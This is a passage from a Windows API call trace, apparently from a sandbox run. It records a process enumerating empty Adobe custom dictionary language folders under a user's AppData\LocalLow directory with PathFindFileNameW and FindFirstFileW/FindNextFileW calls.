(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\") returned="brz\\" [0119.853] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.853] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.853] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.853] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.853] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.853] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.853] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.854] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.854] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.854] PathFindFileNameW (pszPath="") returned="" [0119.854] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.855] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.855] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.855] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.855] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.855] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\") returned="dan\\" [0119.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.855] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.855] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.855] PathFindFileNameW (pszPath="") returned="" [0119.855] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.856] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.856] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.856] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.856] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.856] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.856] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\") returned="dut\\" [0119.856] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.856] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.856] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.856] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.856] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.856] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.856] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.856] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.856] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.856] PathFindFileNameW (pszPath="") returned="" [0119.857] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.857] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.857] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.857] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.857] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.857] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\") returned="eng\\" [0119.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.857] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.858] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.858] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.858] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.858] PathFindFileNameW (pszPath="") returned="" [0119.858] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.858] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.858] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.858] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.858] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.858] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.858] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\") returned="frn\\" [0119.858] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.858] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.858] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.858] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.859] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.859] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.859] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.859] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.859] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.859] PathFindFileNameW (pszPath="") returned="" [0119.859] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.859] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.859] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.859] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.859] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.859] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.859] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\") returned="grm\\" [0119.859] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.860] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.860] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.860] PathFindFileNameW (pszPath="") returned="" [0119.860] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.860] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.860] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.860] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.860] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.860] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\") returned="itl\\" [0119.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0119.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0119.861] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.861] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.861] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.861] PathFindFileNameW (pszPath="") returned="" [0119.861] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0119.861] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.861] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0119.861] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0119.862] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0119.862] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0119.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\") returned="nrw\\" [0119.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0119.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0119.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0119.862] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0119.862] PathFindFileNameW 